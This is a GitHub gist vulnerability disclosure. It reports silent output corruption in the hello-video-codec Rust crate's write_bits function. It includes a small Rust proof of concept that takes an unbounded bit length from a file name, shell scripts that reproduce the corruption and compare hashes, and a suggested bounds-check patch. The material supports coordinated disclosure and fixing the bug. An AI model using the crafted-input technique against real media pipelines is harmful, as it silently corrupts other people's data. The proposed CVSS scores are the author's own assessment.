Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active September 22, 2025 22:57
Show Gist options
  • Select an option

  • Save thesmartshadow/b092e2493821491b981a069847a33064 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/b092e2493821491b981a069847a33064 to your computer and use it in GitHub Desktop.
Silent Data Corruption in Bitstream Writer

Silent Data Corruption in Bitstream Writer (Trust Boundary Violation)

Target: tempus-ex/hello-video-codec (Rust) — BitstreamWriter::write_bits
Crate name: hello-video-codec (import as hello_video_codec)
File/Function: src/bitstream.rsBitstreamWriter::write_bits(u64, usize)
Version tested: 0.1.0
Commit tested: 3e9551c699311ea12ad7f2fce9562fbc990d524c (describe: 3e9551c)
Environment: Kali Linux

  • rustc --version: rustc 1.89.0 (29483883e 2025-08-04)
  • cargo --version: cargo 1.89.0 (c24e10642 2025-06-23) Affected range: ≤ 0.1.0 (at least commit 3e9551c reproduces)

Impact: Integrity (silent output corruption)
CWE: CWE-20 (Improper Input Validation), CWE-682 (Incorrect Calculation)
CVSS v3.1 (proposed):

  • AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N7.5 High (if processing is automatic)
  • AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N6.8 Medium–High (if manual upload required)

TL;DR

An untrusted bit-length derived from user-controlled input (e.g., file name or EXIF) is passed to BitstreamWriter::write_bits without bounds checking.
When len is large (e.g., 130), the writer’s internal state becomes inconsistent, producing silent and persistent corruption in the output stream.
This breaks downstream consumers (analytics, archives, pipelines) — a clear Integrity impact.


Why this matters (“as an attacker, I could…”)

  • Poison downstream data by submitting a crafted media file whose name/metadata encodes a large len.
  • Systems that process the file using the vulnerable writer will silently generate invalid bytes, yet continue to operate “normally.”
  • Consequences: corrupted archives, polluted analytics/ML inputs, evasion of content filters that rely on correctly derived outputs.

Repro Environment

# Install Rust (if needed)
curl --proto '=https' --tlsv1.2 -sSf https://rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"

# Clone target repo
git clone https://github.com/tempus-ex/hello-video-codec
cd hello-video-codec



Best,
Ali Firas (The Smart Shadow)

Affected Product & Versions

  • Version tested: 0.1.0
  • Commit tested: 3e9551c699311ea12ad7f2fce9562fbc990d524c (describe: 3e9551c)
  • Environment: rustc 1.89.0 (29483883e 2025-08-04), cargo 1.89.0 (c24e10642 2025-06-23)
  • Affected range: ≤ 0.1.0 (at least this commit reproduces)

Notes

  • No input contract enforces len bounds; large fragmented lengths corrupt state and lead to divergent output.
This PoC is for defensive research and coordinated disclosure only.
Please contact the project maintainers; after a reasonable window for remediation, a CVE may be requested referencing this gist.
**Credits:** Research & PoC — *Ali Firas (The Smart Shadow)*.
#!/usr/bin/env bash
set -euo pipefail
rm -rf evidence && mkdir -p evidence
cp work/ok.tif work/tears_LEN130.tif evidence/
cargo run --release --example integrity_poc_min -- \
evidence/tears_LEN130.tif evidence/out_mal.bin | tee evidence/run_mal.log
cargo run --release --example integrity_poc_min -- \
evidence/ok.tif evidence/out_ok.bin | tee evidence/run_ok.log
( cd evidence && ls -l out_*.bin && (sha256sum out_*.bin || shasum -a 256 out_*.bin) | tee hashes.txt )
echo "[+] Evidence ready under ./evidence"
#examples/integrity_poc_min.rs
use std::{env, fs, path::Path};
use hello_video_codec::bitstream::BitstreamWriter;
/// Extract LEN from a file name (untrusted), e.g. "sample_LEN130.tif" or "...len=130..."
fn parse_len_from_filename(name: &str) -> Option<usize> {
let upper = name.to_uppercase();
if let Some(pos) = upper.find("LEN") {
let tail = &upper[pos + 3..];
let digits: String = tail
.chars()
.skip_while(|c| !c.is_ascii_digit())
.take_while(|c| c.is_ascii_digit())
.collect();
if !digits.is_empty() {
return digits.parse::<usize>().ok();
}
}
None
}
fn main() {
// Usage:
// cargo run --release --example integrity_poc_min -- <input_path> <output_path> [fallback_len]
let args: Vec<String> = env::args().collect();
if args.len() < 3 {
eprintln!(
"Usage:\n cargo run --release --example integrity_poc_min -- <input_path> <output_path> [fallback_len]\n"
);
std::process::exit(1);
}
let input = &args[1];
let output = &args[2];
let fallback_len: usize = args.get(3).and_then(|s| s.parse().ok()).unwrap_or(32);
let file_name = Path::new(input)
.file_name()
.and_then(|s| s.to_str())
.unwrap_or("");
let len = parse_len_from_filename(file_name).unwrap_or(fallback_len);
println!(" Integrity PoC (filename-controlled len)");
println!(" Input: {}", input);
println!(" Derived len (untrusted): {}", len);
// Vulnerable behavior: write bits using untrusted len (no bounds enforcement)
let mut out = Vec::<u8>::new();
{
let mut w = BitstreamWriter::new(&mut out);
let bits: u64 = 0xDEADBEEF;
if let Err(e) = w.write_bits(bits, len) {
eprintln!("write_bits error: {e}");
}
let _ = w.flush();
}
fs::write(output, &out).expect("write out failed");
println!(" Output bytes: {}", out.len());
println!(" Saved to: {}", output);
}
```bash
bash TestData.sh
bash RunPoC.sh
```
Expected (taken from a real run on Kali):
* `out_mal.bin` = **17 bytes**, `SHA256=6968b5f7...c9564335`
* `out_ok.bin` = **4 bytes**, `SHA256=5f78c332...a813953`
Full console logs in `ObservedOutput.md`.

Observed Output (from a real run on Kali)

Integrity PoC (filename-controlled len)

Input: work/tears_LEN130.tif
Derived len (untrusted): 130
Output bytes: 17
Saved to: out_mal.bin

Integrity PoC (filename-controlled len)

Input: work/ok.tif
Derived len (untrusted): 32
Output bytes: 4
Saved to: out_ok.bin


-rw-rw-r-- 1 user user 17 ... out\_mal.bin
-rw-rw-r-- 1 user user  4 ... out\_ok.bin

SHA256 digests:


out\_mal.bin = 6968b5f778cb5be4cff82623f041d359f80207e9d1ff2720881180a4c9564335
out\_ok.bin  = 5f78c33274e43fa9de5659265c1d917e25c03722dcb0b8d27db8d5feaa813953

Only difference is untrusted lensilent corruption (divergent size & digest).

diff --git a/src/bitstream.rs b/src/bitstream.rs
--- a/src/bitstream.rs
+++ b/src/bitstream.rs
@@ -1,6 +1,18 @@
pub struct BitstreamWriter { /* ... */ }
impl BitstreamWriter {
- pub fn write_bits(&mut self, bits: u64, len: usize) -> std::io::Result<()> {
+ /// Enforce strict input contract to prevent state corruption.
+ /// Accept only 1..=64 bits per call; callers must chunk larger writes.
+ pub fn write_bits(&mut self, bits: u64, len: usize) -> std::io::Result<()> {
+ if !(1..=64).contains(&len) {
+ return Err(std::io::Error::new(
+ std::io::ErrorKind::InvalidInput,
+ "len must be in 1..=64",
+ ));
+ }
+ // NOTE: Prefer iterative logic; avoid recursion that fragments state
+ // and can lead to undefined/implementation-defined shifts and divergence.
+
// existing logic continues here...
// self.next_bits = (self.next_bits << len) | (bits as u128);
// self.next_bits_length += len;
Ok(())
}
}
1. **Enforce bounds** in `write_bits`: reject any `len` outside `1..=64`.
2. **Prefer iterative logic**; avoid recursive fragmentation that corrupts state.
3. **Document API constraints** so untrusted metadata never flows into unbounded bit lengths.
See `patch_suggested.diff` for a minimal guard; add unit tests to prevent regressions.
## Evidence Bundle
* Inputs: `work/ok.tif`, `work/tears_LEN130.tif`
* Outputs: `out_ok.bin`, `out_mal.bin`
* Logs: `ObservedOutput.md`
* Helper to regenerate: `evidence_helper.sh`
`write_bits(bits: u64, len: usize)` accepts arbitrary `len` and updates internal state (`next_bits: u128`, `next_bits_length: usize`) with fragmented/recursive behavior. Large or fragmented lengths lead to invalid state & unexpected output. **No contract guards** enforce `len` bounds.
#!/usr/bin/env bash
set -euo pipefail
# Build & run minimal PoC
echo "[*] Malicious run (untrusted len = 130 from file name)"
cargo run --release --example integrity_poc_min -- \
work/tears_LEN130.tif out_mal.bin
echo "[*] Benign run (fallback len = 32)"
cargo run --release --example integrity_poc_min -- \
work/ok.tif out_ok.bin
echo "[*] Artefacts:"
ls -l out_*.bin
echo "[*] SHA256:"
sha256sum out_*.bin || shasum -a 256 out_*.bin
#!/usr/bin/env bash
set -euo pipefail
# Prepare test inputs using repo's TIFFs
mkdir -p work
cp src/testdata/tears_of_steel_12130.tif work/tears_LEN130.tif # malicious (file name encodes LEN=130)
cp src/testdata/tears_of_steel_12209.tif work/ok.tif # benign (fallback len=32)
echo "[+] Test data prepared under ./work"
ls -l work
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment